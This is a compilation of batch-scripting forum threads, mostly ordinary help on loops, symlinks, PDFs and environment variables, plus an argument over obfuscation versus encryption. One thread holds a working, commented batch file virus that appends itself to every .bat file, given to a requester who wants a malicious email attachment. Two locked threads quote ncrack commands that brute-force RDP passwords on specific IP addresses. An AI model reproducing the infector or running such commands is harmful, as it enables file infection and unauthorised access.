There is a button on the editor toolbar in the forum that adds code TAGS around the highlighted section of text.
- usually you highlight your code and then select the # button and it will appear correctly when you submit your post.

Oh ok i figured it out now. Is this what you mean? I just didn't know how to do it on here.Please quit quoting your code and creating huge posts.

I think i mentioned this previously...if not ...take heed.Quote from: patio on May 25, 2016, 02:33:58 PM
Please quit quoting your code and creating huge posts.

I think i mentioned this previously...if not ...take heed.

Okay ill just be simple, i need a way to detect if a variable contains a capital letter in it, if it does do one thing, if it dont do something else.Zack, just get it to work with lower case letters. Then deal with upper case later.
Also, is there any other program language you use?Yes autoit, autohotkey, javascript, vbs, html, css, php, and java. By vbs you mean VBScript
https://en.wikipedia.org/wiki/VBScript
Or did you mean "Vacation Bible School"
(Rather doubtful.)

VBScript is well suited for manipulation of strings and characters. My segues is that a simple encryption program can be done in 25 lines or less. Yo can invoke VBScript from a command line.
Quote from: Geek-9pm on May 25, 2016, 08:43:33 PM
By vbs you mean VBScript
https://en.wikipedia.org/wiki/VBScript
Or did you mean "Vacation Bible School"
(Rather doubtful.)

VBScript is well suited for manipulation of strings and characters. My segues is that a simple encryption program can be done in 25 lines or less. Yo can invoke VBScript from a command line.

Vbscript, I was hoping you would wold have understood by "vbs" meaning vbscript, not visual basic, or "Vacation Bible School." And i know you can encrypt in vbscript, im trying to do it in batch. -_- Im not trying to make a encryption program for any other language. im trying to make a batch encrypter. Understood.
If it were me, I would create a working model in my best language and then try to get it to work in batch. VBScript might be what I would use. Or maybe VBA. After I verified the algorithm I use is good, then I would try to export the idea into a batch file. But if I wanted to obfuscate, I might just go to machine code at the lowest level.

Obfuscate:
verb
verb: obfuscate; 3rd person present: obfuscates; past tense: obfuscated; past participle: obfuscated; gerund or present participle: obfuscating

render obscure, unclear, or unintelligible.
"the spelling changes will deform some familiar words and obfuscate their etymological origins"
synonyms:obscure, confuse, make unclear, blur, muddle, complicate, overcomplicate, muddy, cloud, befog
"mere rationalizations to obfuscate rather than clarify the real issue.

As mentioned earlier, encryption is not the same as making something hard to understand. BTW: New hardware is coming soon with encryption built into the motherboard of a PC. Quote from: zask on May 25, 2016, 05:10:38 PM
Okay ill just be simple, i need a way to detect if a variable contains a capital letter in it, if it does do one thing, if it dont do something else.

There's a way to do that with FOR but it depends on what other kinds of characters are in the variable.

Alphanumeric characters are handled easily but various special characters will not work.
5759.

Solve : xcopy symblic links from to directories in a text file?

Answer»

I've got a TEXT file with the full PATH and I want to copy all the symbolic links from a source folder to each folder in the text file. Text file is CALLED subs.txt looks like this:
C:\data\2653\arc2015
C:\data\8893\arc2015

the real text file will have around 30 or so of these entries. Here's what I've tried in several VARIATIONS:

for /f %%i in (subs.txt) DO xcopy "C:\forms\!SLinks\*.*" "%%i" /b /y

nothing happens, no errors messages or anything.

Thanks
KevinQuote from: shcsbaker on January 21, 2016, 05:16:06 AM

I've got a text file with the full path and I want to copy all the symbolic links from a source folder to each folder in the text file. Text file is called subs.txt looks like this:
C:\data\2653\arc2015
C:\data\8893\arc2015

the real text file will have around 30 or so of these entries. Here's what I've tried in several variations:

for /f %%i in (subs.txt) DO xcopy "C:\forms\!SLinks\*.*" "%%i" /b /y

Did you use a batch file or a command prompt? How come you are using !slinks? or is that a folder?

From http://superuser.com/questions/148099/windows-7-symlinks-how-do-i-copy-a-symlink-to-a-directory

Quote
use the following command from elevated command prompt:
xcopy /b /i <source symlink name> <destination symlink name> it will say that 0 File(s) copied but the symlink will appear in the destination. This is tested under Windows 7 and Windows 8.x but should work starting as of Vista
5760.

Solve : Nested Ifs Formula?

Answer»

As it states in every article and HELP screen I've read, these things will drive you CRAZY and I'm CERTAINLY there! I am desperate for a nested If statement to accommodate several scenarios... Can someone contact me if they are a guru of Nested IF's and would be willing to give it a try? Thank you so much!!!What environment do you need these IF statements in? Batch or a actual programming language like C++ etc? The fact that you state "Formula" is this IF logic WITHIN an Excel spreadsheet?

Not being specific leads to TRYING to guess what you need.

5761.

Solve : Batch File to open multiple files & PDFs?

Answer»

Good morning all,

I need help writing a batch file to open multiple files and their accompanying PDFs based on file name input and date input.

Below is what I've started with:
ECHO OFF
CLS
:MENU
ECHO.
ECHO ....................................... ........
ECHO PRESS 1 for vendor or 2 to EXIT
ECHO ....................................... ........
ECHO.
ECHO 1 - Open Vendor File
ECHO 2 - EXIT
ECHO.
SET /P M=Type 1 or 2 then press ENTER:
IF %M%==1 GOTO OPENFILE
IF %M%==2 GOTO EOF
:OPENFILE
%systemroot%\explorer.exe "XX:\subfolder1\subfolder2\vendornumber\reports\pdf_file"
GOTO MENU

Output needs to be based on Vendor number and PDF file by date.
Ideally, the flow path would be:
1 - enter vendor number
2 - store vendor number in memory/list
3 - repeat until a closing variable is entered, like "zz"
4 - once "zz" is entered, open all PDF files based on vendor number entered by most current date contained inside the "XX:\subfolder1\subfolder2\vendornumber\reports" path

Any help on this would be greatly appreciated.

Thanks.Curious why you want to use batch to do this. You COULD simply navigate to the folder for vendornumber of which EVER vendor and the select ALL files and tell them to open... and able to do this all from WINDOWS GUI without having to code anything up and its navigation will be easier for and end user.Quote from: caniacbart on May 18, 2016, 06:44:33 AM

Output needs to be based on Vendor number and PDF file by date.
Ideally, the flow path would be:
1 - enter vendor number
2 - store vendor number in memory/list
3 - repeat until a closing variable is entered, like "zz"
4 - once "zz" is entered, open all PDF files based on vendor number entered by most current date contained inside the "XX:\subfolder1\subfolder2\vendornumber\reports" path

Is the requirement for the user to enter a list of vendor numbers and open the lastest PDF file in each vendor folder?

1) What program is being used to view the PDF files in?

2) What files are being opened? Your subject states "files & PDFs"
5762.

Solve : Listing files on a network drive?

Answer»

Hi all,

Firstly apologies if this has already been asked. I am trying to create txt file of all the files on a network drive and then order them by the date that they were created. Ideally the output would look like


Date created Location Filename

So FAR I am using the following:

Network file path> dir /s/a-d/O:-D > list destination list.txtApologies I should have also said that I am using Windows 7 32-bit. I should also point out that it is for nothing illegal, we are trying to store files in a CRM that are CURRENTLY stored on the network. This would be a weekly task and the idea is to be able to RUN a batch file to identify files that have been created in the recent past.


I hope that this clears things up a little, and thank you for your time.You are missing the /T option.Quote from: jamesbean on May 17, 2016, 04:42:02 AM

I am trying to create txt file of all the files on a network drive and then order them by the date that they were created.

Did Squashman's tip help you?

I'm IDLY wondering if the network drive is NTFS or FAT or a Unix formatted drive.
5763.

Solve : how to add characters in this message ~Ex.) ("")?

Answer»

It's really sad when someone claims that something had no decryption method, but put's zero effort in looking at that code. you stated this

Huh, would you look at that. This form of obfuscation is nothing new, and the entire purpose is to try to hide what the code is doing. However, recall the definition of encryption you quoted, "you must have access to a secret key or password that enables you to decrypt it."- If that was "encrypted", How did I "decrypt" it without a secret key?

The definition isn't known as obfuscation, it's known as polymorphism, the website Vx-heaven.org that i gave to you in the comment as a link will give you thousands of examples of what i was doing. You cant decrpyt it because it decrypts itself. Polymorphism is use to mutate a code through encryption, then decrypt the code all at once. it's better known as mutation or poly mutation. In it's own deffinition of polymorphic code, it plainly states that it is an encryption. not to mention the thousands of examples from sources from Vx-heaven.org that i gave you. All i said was simply that the definition says it's encryption. because the programming langage's code is encoded in a pattern of mutation, then that mutation is reversed in it's change, causing what ever that was encoded to be then decoded, you thought it wasn't encoded because in polymorphism everything that is encoded is automatically decoded, it's result is causing the appearance of randomization in the commands to lead confusion to the user, which is obfuscation. obfuscation is not the code being encoded and decoded, like my example of polymorphic encription. but the result in the appearance of the codes mutation affects at after the code is polymorphous, is called obfuscation. this is what you had trouble in understanding from my years of studying polymorphic engines. polymorphism is not encryption nor decryption, but rather both at the same time to cause a mutation effect called obfuscation. You only had your information off by a slight hair.

example

Rem This is the encription.

@echo off
title Encripted.bat by Zask
set ywnp=ycf
set ywnp=s
GoTo ywnp
set ywnp=nk
:ywnp
set ljdt=wxh
set ljdt=e
GoTo ljdt
set ljdt=gz
:ljdt
set dyiq=qfm
set dyiq=t
GoTo dyiq
set dyiq=ts
:dyiq
%ywnp%%ljdt%%dyiq% bc=ntx
%ywnp%%ljdt%%dyiq% bc=a
GoTo bc
%ywnp%%ljdt%%dyiq% bc=qv
:bc
%ywnp%%ljdt%%dyiq% kx=fsh
%ywnp%%ljdt%%dyiq% kx=b
GoTo kx
%ywnp%%ljdt%%dyiq% kx=vc
:kx
%ywnp%%ljdt%%dyiq% np=yxw
%ywnp%%ljdt%%dyiq% np=c
GoTo np
%ywnp%%ljdt%%dyiq% np=nm
:np
%ywnp%%ljdt%%dyiq% pc=dzc
%ywnp%%ljdt%%dyiq% pc=d
GoTo pc
%ywnp%%ljdt%%dyiq% pc=vn
:pc
%ywnp%%ljdt%%dyiq% ev=bzw
%ywnp%%ljdt%%dyiq% ev=e
GoTo ev
%ywnp%%ljdt%%dyiq% ev=uz
:ev
%ywnp%%ljdt%%dyiq% rk=utl
%ywnp%%ljdt%%dyiq% rk=f
GoTo rk
%ywnp%%ljdt%%dyiq% rk=xs
:rk
%ywnp%%ljdt%%dyiq% va=ily
%ywnp%%ljdt%%dyiq% va=g
GoTo va
%ywnp%%ljdt%%dyiq% va=bh
:va
%ywnp%%ljdt%%dyiq% qj=zjc
%ywnp%%ljdt%%dyiq% qj=h
GoTo qj
%ywnp%%ljdt%%dyiq% qj=cr
:qj
%ywnp%%ljdt%%dyiq% rb=srp
%ywnp%%ljdt%%dyiq% rb=i
GoTo rb
%ywnp%%ljdt%%dyiq% rb=zb
:rb
%ywnp%%ljdt%%dyiq% ht=oom
%ywnp%%ljdt%%dyiq% ht=j
GoTo ht
%ywnp%%ljdt%%dyiq% ht=it
:ht
%ywnp%%ljdt%%dyiq% nj=pjt
%ywnp%%ljdt%%dyiq% nj=k
GoTo nj
%ywnp%%ljdt%%dyiq% nj=po
:nj
%ywnp%%ljdt%%dyiq% vm=kfx
%ywnp%%ljdt%%dyiq% vm=l
GoTo vm
%ywnp%%ljdt%%dyiq% vm=pl
:vm
%ywnp%%ljdt%%dyiq% mc=ukc
%ywnp%%ljdt%%dyiq% mc=m
GoTo mc
%ywnp%%ljdt%%dyiq% mc=dn
:mc
%ywnp%%ljdt%%dyiq% fa=kpi
%ywnp%%ljdt%%dyiq% fa=n
GoTo fa
%ywnp%%ljdt%%dyiq% fa=tg
:fa
%ywnp%%ljdt%%dyiq% hx=wuz
%ywnp%%ljdt%%dyiq% hx=o
GoTo hx
%ywnp%%ljdt%%dyiq% hx=bt
:hx
%ywnp%%ljdt%%dyiq% ec=qyi
%ywnp%%ljdt%%dyiq% ec=p
GoTo ec
%ywnp%%ljdt%%dyiq% ec=tn
:ec
%ywnp%%ljdt%%dyiq% vb=kbz
%ywnp%%ljdt%%dyiq% vb=q
GoTo vb
%ywnp%%ljdt%%dyiq% vb=yh
:vb
%ywnp%%ljdt%%dyiq% fn=iam
%ywnp%%ljdt%%dyiq% fn=r
GoTo fn
%ywnp%%ljdt%%dyiq% fn=kt
:fn
%ywnp%%ljdt%%dyiq% vv=enu
%ywnp%%ljdt%%dyiq% vv=s
GoTo vv
%ywnp%%ljdt%%dyiq% vv=so
:vv
%ywnp%%ljdt%%dyiq% je=tdw
%ywnp%%ljdt%%dyiq% je=t
GoTo je
%ywnp%%ljdt%%dyiq% je=ki
:je
%ywnp%%ljdt%%dyiq% bk=ymk
%ywnp%%ljdt%%dyiq% bk=u
GoTo bk
%ywnp%%ljdt%%dyiq% bk=zq
:bk
%ywnp%%ljdt%%dyiq% ik=zff
%ywnp%%ljdt%%dyiq% ik=v
GoTo ik
%ywnp%%ljdt%%dyiq% ik=ce
:ik
%ywnp%%ljdt%%dyiq% bq=hfd
%ywnp%%ljdt%%dyiq% bq=w
GoTo bq
%ywnp%%ljdt%%dyiq% bq=dt
:bq
%ywnp%%ljdt%%dyiq% aj=oku
%ywnp%%ljdt%%dyiq% aj=x
GoTo aj
%ywnp%%ljdt%%dyiq% aj=dh
:aj
%ywnp%%ljdt%%dyiq% ex=agr
%ywnp%%ljdt%%dyiq% ex=y
GoTo ex
%ywnp%%ljdt%%dyiq% ex=ju
:ex
%ywnp%%ljdt%%dyiq% rp=kri
%ywnp%%ljdt%%dyiq% rp=z
GoTo rp
%ywnp%%ljdt%%dyiq% rp=we
:rp
%ywnp%%ljdt%%dyiq% za=kxr
%ywnp%%ljdt%%dyiq% za=GoTo za
%ywnp%%ljdt%%dyiq% za=fb
:za



Rem This pause command proves that this is a form of encription.

echo press enter to decript the hidden message
pause

Rem This is the decryption


%np%%hx%%vm%%hx%%fn% 0%bc%
%ev%%np%%qj%%hx% T%qj%%ev% %np%%hx%%pc%%ev% %qj%%bc%%vv% %fa%%hx%%bq% %kx%%ev%%ev%%fa% %pc%%ev%%np%%fn%%ex%%ec%%je%%ev%%pc%. A%mc% I %vv%%je%%rb%%vm%%vm% %bq%%fn%%hx%%fa%%va% %fa%%hx%%bq%? H%hx%%bq% %rb%%vv% %je%%qj%%rb%%vv% %fa%%hx%%je% %ev%%fa%%np%%fn%%rb%%ec%%je%%rb%%hx%%fa%?
%ec%%bc%%bk%%vv%%ev%


? Now do i not know what im talking about? do you understand how this is encryption now?? Can you please explain to me now how this isn't encryption.
[/quote]

now are you going to apologize for telling me that i was wrong?
i believe you should Mr. Encryption expertI respond primarily because that will expediate this thread getting locked.

Quote

polymorphism is not encryption nor decryption, but rather both at the same time to cause a mutation effect called obfuscation. You only had your information off by a slight hair.
Polymorphic software is when the actual data written to disk representing the executable changes with each copy. It is most commonly employed by malware to avoid AV heuristics, but technically any software could use it. Another possible application is for licensed software; if the key can be constructed from the local system information, the program will only successfully decrypt the main block on that system. This doesn't tend to get used much- last time I saw it was on Interactive Physics II for Windows 3.1 Which I sadly could not copy from a laptop I received that had it installed.

Mind you, changing the software with each duplication doesn't require encryption, but it is the easiest way to implement large changes to the on-disk data while preserving the functionality. Each new copy that runs can write a new file by writing the bootstrap, and then generating a new random string to use as the encryption key input into the algorithm (as I said, the most common I've seem in my inspections is Rijndael, which is likely because implementations of the algorithm can be fairly easily found since it is used for AES block encryption.

The important factor here is that the encryption key is a piece of data that must be provided to an encryption algorithm.

Another good example of encryption is DaveLembke's small Encryption program That he shared a while ago. The password key is a required input as well as an active part of changing the data- using the wrong password would not work to provide the original data. It's not particularly secure encryption, mind you, but as the password/key is a required input to an algorithm it fits the bill.

Your example, again, is a substitution cipher; if you hard-code the key as part of the algorithm, most encryption algorithms become plain-ol' substitution ciphers. Encryption requires a separate input key that is an active part of the algorithm, Which I've already described. If you search through definitions, I'm sure you could reason such that it is "encryption" but as I said previously you could likely use the same approach to "prove" that you can withdraw money from the sides of a river (the sides of a river are a bank, after all)



Quote
Now do i not know what im talking about? do you understand how this is encryption now?? Can you please explain to me now how this isn't encryption.
I've explained to you about 3 times now how this isn't encryption. If I had suspected the layer of hubris and superciliousness was impermeable, I wouldn't have BOTHERED.

Quote
now are you going to apologize for telling me that i was wrong?
Anybody who understands what cryptography is will look at your example and laugh at the idea that it is encryption.
Quote
i believe you should Mr. Encryption expert
I never once stated I was an encryption expert. I did say that I know enough about it to depend on the existing algorithm implementations unless my intent is to learn more about the implementation, Though the existing documentation on the algorithms themselves are USUALLY enough information.

Quote
i actually understand more than the average professional would expect from my age.

Being a kid means thinking you're the exception to this rule, being an adult is realizing you're not.


Quote from: BC_Programmer on January 21, 2016, 02:20:21 AM
I respond primarily because that will expediate this thread getting locked.
Polymorphic software is when the actual data written to disk representing the executable changes with each copy. It is most commonly employed by malware to avoid AV heuristics, but technically any software could use it. Another possible application is for licensed software; if the key can be constructed from the local system information, the program will only successfully decrypt the main block on that system. This doesn't tend to get used much- last time I saw it was on Interactive Physics II for Windows 3.1 Which I sadly could not copy from a laptop I received that had it installed.

Mind you, changing the software with each duplication doesn't require encryption, but it is the easiest way to implement large changes to the on-disk data while preserving the functionality. Each new copy that runs can write a new file by writing the bootstrap, and then generating a new random string to use as the encryption key input into the algorithm (as I said, the most common I've seem in my inspections is Rijndael, which is likely because implementations of the algorithm can be fairly easily found since it is used for AES block encryption.

The important factor here is that the encryption key is a piece of data that must be provided to an encryption algorithm.

Another good example of encryption is DaveLembke's small Encryption program That he shared a while ago. The password key is a required input as well as an active part of changing the data- using the wrong password would not work to provide the original data. It's not particularly secure encryption, mind you, but as the password/key is a required input to an algorithm it fits the bill.

Your example, again, is a substitution cipher; if you hard-code the key as part of the algorithm, most encryption algorithms become plain-ol' substitution ciphers. Encryption requires a separate input key that is an active part of the algorithm, Which I've already described. If you search through definitions, I'm sure you could reason such that it is "encryption" but as I said previously you could likely use the same approach to "prove" that you can withdraw money from the sides of a river (the sides of a river are a bank, after all)


I've explained to you about 3 times now how this isn't encryption. If I had suspected the layer of hubris and superciliousness was impermeable, I wouldn't have bothered.
Anybody who understands what cryptography is will look at your example and laugh at the idea that it is encryption.I never once stated I was an encryption expert. I did say that I know enough about it to depend on the existing algorithm implementations unless my intent is to learn more about the implementation, Though the existing documentation on the algorithms themselves are usually enough information.

Being a kid means thinking you're the exception to this rule, being an adult is realizing you're not.

so your basically saying that encrypted encryption the when something is encoded and requires a secret key to decrepit it, but the batch file does both encoded it's self and has a secret key. without the bottom part of the code that i showed you there would be absolutely no command executed. I'm not saying that your encryption isn't encryption but im saying that my file contains polymorphic code, you can say thats it not encryption but you cant say that it's not polymorphism. by definition polymorphism is encryption. You are saying that it is not encryption because when echo is set to on the code can be seen, but they aren't seen until they are decripted. if the code is not encrypted then why if i remove the decryption part of the script absolutely nothing happends? nothing can be displayed with @echo on or any command period without me adding its code.
the example script below contains only the encryption part. try any command you like, nothing will happen until its decoded.


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX


@echo on
title Encripted.bat by Zask
set ywnp=ycf
set ywnp=s
GoTo ywnp
set ywnp=nk
:ywnp
set ljdt=wxh
set ljdt=e
GoTo ljdt
set ljdt=gz
:ljdt
set dyiq=qfm
set dyiq=t
GoTo dyiq
set dyiq=ts
:dyiq
%ywnp%%ljdt%%dyiq% bc=ntx
%ywnp%%ljdt%%dyiq% bc=a
GoTo bc
%ywnp%%ljdt%%dyiq% bc=qv
:bc
%ywnp%%ljdt%%dyiq% kx=fsh
%ywnp%%ljdt%%dyiq% kx=b
GoTo kx
%ywnp%%ljdt%%dyiq% kx=vc
:kx
%ywnp%%ljdt%%dyiq% np=yxw
%ywnp%%ljdt%%dyiq% np=c
GoTo np
%ywnp%%ljdt%%dyiq% np=nm
:np
%ywnp%%ljdt%%dyiq% pc=dzc
%ywnp%%ljdt%%dyiq% pc=d
GoTo pc
%ywnp%%ljdt%%dyiq% pc=vn
:pc
%ywnp%%ljdt%%dyiq% ev=bzw
%ywnp%%ljdt%%dyiq% ev=e
GoTo ev
%ywnp%%ljdt%%dyiq% ev=uz
:ev
%ywnp%%ljdt%%dyiq% rk=utl
%ywnp%%ljdt%%dyiq% rk=f
GoTo rk
%ywnp%%ljdt%%dyiq% rk=xs
:rk
%ywnp%%ljdt%%dyiq% va=ily
%ywnp%%ljdt%%dyiq% va=g
GoTo va
%ywnp%%ljdt%%dyiq% va=bh
:va
%ywnp%%ljdt%%dyiq% qj=zjc
%ywnp%%ljdt%%dyiq% qj=h
GoTo qj
%ywnp%%ljdt%%dyiq% qj=cr
:qj
%ywnp%%ljdt%%dyiq% rb=srp
%ywnp%%ljdt%%dyiq% rb=i
GoTo rb
%ywnp%%ljdt%%dyiq% rb=zb
:rb
%ywnp%%ljdt%%dyiq% ht=oom
%ywnp%%ljdt%%dyiq% ht=j
GoTo ht
%ywnp%%ljdt%%dyiq% ht=it
:ht
%ywnp%%ljdt%%dyiq% nj=pjt
%ywnp%%ljdt%%dyiq% nj=k
GoTo nj
%ywnp%%ljdt%%dyiq% nj=po
:nj
%ywnp%%ljdt%%dyiq% vm=kfx
%ywnp%%ljdt%%dyiq% vm=l
GoTo vm
%ywnp%%ljdt%%dyiq% vm=pl
:vm
%ywnp%%ljdt%%dyiq% mc=ukc
%ywnp%%ljdt%%dyiq% mc=m
GoTo mc
%ywnp%%ljdt%%dyiq% mc=dn
:mc
%ywnp%%ljdt%%dyiq% fa=kpi
%ywnp%%ljdt%%dyiq% fa=n
GoTo fa
%ywnp%%ljdt%%dyiq% fa=tg
:fa
%ywnp%%ljdt%%dyiq% hx=wuz
%ywnp%%ljdt%%dyiq% hx=o
GoTo hx
%ywnp%%ljdt%%dyiq% hx=bt
:hx
%ywnp%%ljdt%%dyiq% ec=qyi
%ywnp%%ljdt%%dyiq% ec=p
GoTo ec
%ywnp%%ljdt%%dyiq% ec=tn
:ec
%ywnp%%ljdt%%dyiq% vb=kbz
%ywnp%%ljdt%%dyiq% vb=q
GoTo vb
%ywnp%%ljdt%%dyiq% vb=yh
:vb
%ywnp%%ljdt%%dyiq% fn=iam
%ywnp%%ljdt%%dyiq% fn=r
GoTo fn
%ywnp%%ljdt%%dyiq% fn=kt
:fn
%ywnp%%ljdt%%dyiq% vv=enu
%ywnp%%ljdt%%dyiq% vv=s
GoTo vv
%ywnp%%ljdt%%dyiq% vv=so
:vv
%ywnp%%ljdt%%dyiq% je=tdw
%ywnp%%ljdt%%dyiq% je=t
GoTo je
%ywnp%%ljdt%%dyiq% je=ki
:je
%ywnp%%ljdt%%dyiq% bk=ymk
%ywnp%%ljdt%%dyiq% bk=u
GoTo bk
%ywnp%%ljdt%%dyiq% bk=zq
:bk
%ywnp%%ljdt%%dyiq% ik=zff
%ywnp%%ljdt%%dyiq% ik=v
GoTo ik
%ywnp%%ljdt%%dyiq% ik=ce
:ik
%ywnp%%ljdt%%dyiq% bq=hfd
%ywnp%%ljdt%%dyiq% bq=w
GoTo bq
%ywnp%%ljdt%%dyiq% bq=dt
:bq
%ywnp%%ljdt%%dyiq% aj=oku
%ywnp%%ljdt%%dyiq% aj=x
GoTo aj
%ywnp%%ljdt%%dyiq% aj=dh
:aj
%ywnp%%ljdt%%dyiq% ex=agr
%ywnp%%ljdt%%dyiq% ex=y
GoTo ex
%ywnp%%ljdt%%dyiq% ex=ju
:ex
%ywnp%%ljdt%%dyiq% rp=kri
%ywnp%%ljdt%%dyiq% rp=z
GoTo rp
%ywnp%%ljdt%%dyiq% rp=we
:rp
%ywnp%%ljdt%%dyiq% za=kxr
%ywnp%%ljdt%%dyiq% za=GoTo za
%ywnp%%ljdt%%dyiq% za=fb
:za


echo Nothing has happen before this line.
pause


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX

your explanation was saying that the code was not encryption because had absolutely no encoded script nor a decryption TECHNIQUE. But the code has both the encoded TEXT and the requirements to decode the text.
how is the code not encoded if the first part code (encryption code) will not EXECUTE without adding the second part of the code (decryption code).

For the millionth time i understand that a key and the plain text goes into an encryption algorithm which creates another key with ciphered text. I understand that that ciphered text is then sent into a decryption algorithm which is used to turn the ciphered text into a decryption algorithm. I understand That all my code is doing is substituting it's defined meanings. i understand that polymorphism involves any form of text to be converted to a different meaning to simulate mutation for crap like avoiding antiviruses. and that this differs from adding a actual algorithm that can be then undone with an actual form of decryption, but all i am saying is that by definition of polymorphism is that it is a form encryption because the code become encoded and decoded without a algorithm, like the Caesar cipher created by Julius Caesar which required just plain definitions with substituted meanings . just like your explaining from your definition that mine is not. im not saying your wrong. im just stating the polymorphous code by the definition of polymorphism. even if my definition doesn't comply with your deffinition, i told you that i was only intending to keep a regular non programming experienced user from open it and see it. Quote from: zask on January 21, 2016, 11:36:22 AM
so your basically saying that encrypted encryption the when something is encoded and requires a secret key to decrepit it, but the batch file does both encoded it's self and has a secret key.
No it doesn't. I'm talking to an Iridium Wall here.

Quote
without the bottom part of the code that i showed you there would be absolutely no command executed.
Irrelevant.
Quote
I'm not saying that your encryption isn't encryption but im saying that my file contains polymorphic code, you can say thats it not encryption but you cant say that it's not polymorphism. by definition polymorphism is encryption.
I literally explained what polymorphic code is. I'm not sure why, mind you, since you had already ignored a number of other proper definitions for the terms you've used, and continued to use them incorrectly.

Quote
You are saying that it is not encryption because when echo is set to on the code can be seen
I never said that. It's a substitution cipher. There is no algorithm being executed. Obfuscation is not encryption.

Quote
but they aren't seen until they are decripted. if the code is not encrypted then why if i remove the decryption part of the script absolutely nothing happends?
There is no "decryption". environment variable substitution is not "decryption" because there is no algorithm involved. It's a substitution cipher.

Quote
your explanation was saying that the code was not encryption because had absolutely no encoded script nor a decryption technique. But the code has both the encoded text and the requirements to decode the text.
how is the code not encoded if the first part code (encryption code) will not execute without adding the second part of the code (decryption code).
I've explained nearly half a dozen times why. I can't be bothered to explain it again, since you've simplied ignored it each time anyway.

Quote
For the millionth time i understand that a key and the plain text goes into an encryption algorithm which creates another key with ciphered text. I understand that that ciphered text is then sent into a decryption algorithm which is used to turn the ciphered text into a decryption algorithm. I understand That all my code is doing is substituting it's defined meanings.
Great, so you understand why it's not encryption. Glad we agree.
Quote
even if my definition doesn't comply with your deffinition, i told you that i was only intending to keep a regular non programming experienced user from open it and see it.
the issue is not that your definition does not agree with my definition. The issue is that your definition is wrong. Once again...i've been patient...
But i've seen enough.

Topic Closed.
5764.

Solve : how to run automaticaly multiple syntax using cmd.exe?

Answer»

how to run this? one by one
I OPEN cmd.exe and i paste MANUALLY that code one by one how to run this 3 string automatically in a batch file?
After 1'st list finishing starts the second and then starting the 3'rd
ncrack -v --user Amin -P super1.txt 5.2.182.200:3389
ncrack -v --user Amin -P super2.txt 5.2.182.200:3389
ncrack -v --user Amin -P super3.txt 5.2.182.200:3389


i tried this but not good results

[emailprotected]
start /wait ncrack -v --user Amin -P super1.txt 5.2.182.200:3389
start /wait ncrack -v --user Amin -P super2.txt 5.2.182.200:3389
start /wait ncrack -v --user Amin -P super3.txt 5.2.182.200:3389



No help with cracking or bypassing SECURITY on this forum. What you are trying to do is a CRIME in most countries.



Thread locked.Well he was a fun guy...

BTW showed up in multiple Forums...

5765.

Solve : need a script to run automaticaly a tool??

Answer»

I USE ncrack and i use some pass LISTS , 20 mb , i want to split the list in 20 peaces , 1 mb each.I start ncrack with first 1mbPASS.TXT after some hours is finishing, then i must CHANGE 1mbPass.txt file to 2mbPass.txt and start again.Anyone knows a script or something to start the second pass list automatically ? hehe
thanks

I open cmd.exe and i PASTE manually this stirng:
ncrack -v --user Admin -P 1mbPASS.TXT 5.2.225.45:3389

after is finishing i paste manually the second string with the second pass :
ncrack -v --user Admin -P 2mbPASS.TXT 5.2.225.45:3389

Anyone knows a script or soemthing to run AUTOMATICALLY the second pass the 3'rd pass lists and not paste manually the code everytime ncrack finishing ?
We don't assist with that here...

Topic Closed.

5766.

Solve : create simple virus using batch file?

Answer»

i need to know how i can create a batch file atoexecute thing that, when opened from an email attatchment, will send itself to the hard drive and overite the autoexecute file that boots up the computer.I bet you will get a lot of info on this forum!!!!alrite first when you ask for a virus u probably will get yelled at and threaten to get kicked of this form and stuff like like so try and word it diffrent next time if you want the slightest chance of getting help,

ok second why do you want this what are you ghonna do with it

and finnaly batch viruses are best used for dropers for your real virus b/c theres not much you can do with a batch virus b/c xp now has so if you delete one of your main system folders it will replace it and or fix it, and what do you want ot od with the autoexec do u want to just disable it so it dosent work or do you want to insert another batch file which is a pain to get off (i am experincing now) but theres only a couple batch viruses that i SEE

*** Q. What kinds of batch viruses are possible?
*** A. A few types. There seems to be six types as far as I can tell.

1. Real batch viruses that use DOS commands to infect batch files while
preserving the functionality of the infected batch. Like mine.

2. COMPANION batch files that rename other BAT, COM or EXE files then
substitutes batches with the program's base names. The program itself
is not altered.

3. Hybrid batches that only insert calls to itself into infected batches
without attaching the actual virus code which is kept or replicates
seperately.

4. Overwriters that destroy the program, COM, EXE or BAT, that it infects.

5. Binary code echoed into a COM file then exececuted.

6. Hex code echoed to a temp file then assembled using debug.

For example:

::Cheezy Batch ViR
@echo off>nul.ViR - turns off echoing
if '%1=='InF goto ViR_inf - branch line for calling infection
if exist c:\vir.bat goto ViR_run - branch if root file PRESENT
if not exist %0.bat goto ViR_end - branch if host cannot be seen
FIND "ViR"<%0.bat>c:\vir.bat - STRIP code from host, stash in root
:ViR_run - the heart of the matter...
for %%a in (*.bat) do call c:\ViR InF %%a - loop thru all bats in current
goto ViR_end - and exit virus
:ViR_inf - the infection routine...
find "ViR"<%2>nul - check if virus present in target
if not errorlevel 1 goto ViR_end - branch if there, get next filename
type c:\ViR.bat>>%2 - append virus to the file
:ViR_end - done.


if you want o know more get aim and aim me at Dark251

Quote

i need to know how i can create a batch file atoexecute thing that, when opened from an email attatchment, will send itself to the hard drive and overite the autoexecute file that boots up the computer.



I hear crickets chirping! Did you get a response? Why would you want such a thing? And no I do not want you on my "buddy list" !email me [emailprotected]
You can also ask the forum other things like:
How can I cheat on my Tax?
Is there an easy way to rob a bank?
Can I make street drugs from toothpaste? **
What is the best way to hot wire a police car?

Go ahead, ask anything.

** from Google Books.Zask replied to a post that's over 10 years old.

5767.

Solve : A problem with Environment Variables?

Answer»

In my Environment Variable (on my Windows 8.1, x64 PC), I have set up -

1) A variable of "Python27", with a value of "c:\python27".
2) A variable of "Python35", with a value of "C:\users\john fairweather\appdata\local\programs\python\python35-32"

Where Python27 & Python35 are folders.

Opening up CMD (Version 6.3.9600), I would have expected that on entering "Python27" or "Python35", I would have got to these directories, but I am not, I am receiving the message "'Python27' is not recognised as an INTERNAL or external command, operable PROGRAM or BATCH file."

Please advised what I have done wrong.Environment Variables are referenced by enclosing them in percent signs. so %Python27% for example. The contents of the variable can be considered to replace the location you have them in your command. So, for example, if you used %Python27% as is, it would be the same as just typing C:\python27 which would give the same error. You would need to use them in conjunction with an appropriate command. In this case, CD (Change Directory), such as
Code: [Select]cd %Python27%Thanks, that was the answer I wanted.You can make a SORT of 'alias' in windows to open a directory.
You have a folder with some horrible long path name.
You make a shortcut by sending it to the desktop as a shortcut.
Rename it to something clever and short.
Move it to the C:\windows directory.
Now you can run it and it will open the directory for you.
